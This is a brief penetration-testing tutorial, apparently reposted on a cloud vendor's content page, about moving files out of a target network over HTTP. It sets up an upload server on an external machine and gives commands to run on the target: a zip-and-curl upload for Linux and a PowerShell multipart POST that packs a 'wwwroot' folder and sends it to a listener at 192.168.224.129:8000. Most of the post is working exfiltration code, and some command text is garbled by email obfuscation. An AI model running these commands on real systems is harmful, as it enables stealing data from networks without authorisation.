HTTP Upload file out network

Source: Internet
Author: User
Tags curl

Running the file service receive service on an external network machine

[email protected]:~/pentest-script/FileTransfer/HttpServer# python3 SimpleHttpUpload.py Serving HTTP on 0.0.0.0 port 8000 ...(True, "File ‘/root/pentest-script/FileTransfer/HttpServer/mo.zip‘ upload success!", ‘by: ‘, (‘127.0.0.1‘, 41170))127.0.0.1 - - [09/Mar/2018 08:27:55] "POST / HTTP/1.1" 200 -

simplehttpupload.py

https://github.com/xiaoxiaoleo/pentest-script/blob/master/FileTransfer/HttpServer/SimpleHttpUpload.py

1. If Linux is performing a curl send file on the target machine

[email protected]:~/Desktop# zip test.zip test.txt   adding: test.txt (deflated 57%)[email protected]:~/Desktop# curl   -F [email protected]/root/Desktop/test.zip  

2. If you are a Windows machine, you can upload files using powershell

zip.exe -r temp.zip  wwwroot $fileName = "temp.zip"$uri = "http://192.168.224.129:8000/"$currentPath = Convert-Path .$filePath="$currentPath\$fileName"$fileBin = [System.IO.File]::ReadAlltext($filePath)$bodyLines = ("------------------------83cdc2d56002d24a","Content-Disposition: form-data; name=`"file`"; filename=`"$fileName`"","Content-Type: application/octet-stream;",$fileBin,"--------------------------83cdc2d56002d24a--$LF" ) -join  "`r`n"Invoke-RestMethod -Uri $uri -Method Post -ContentType "multipart/form-data; boundary=------------------------83cdc2d56002d24a" -Body $bodyLines
zip.exe https://github.com/xiaoxiaoleo/pentest-script/blob/6aadc3b7a4922f97015c309217feb239e179a995/bat/cmd%E5%8E%8B%E7%BC%A9%E8%A7%A3%E5%8E%8B/zip.exe

Starting at T00ls

HTTP Upload file out network

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.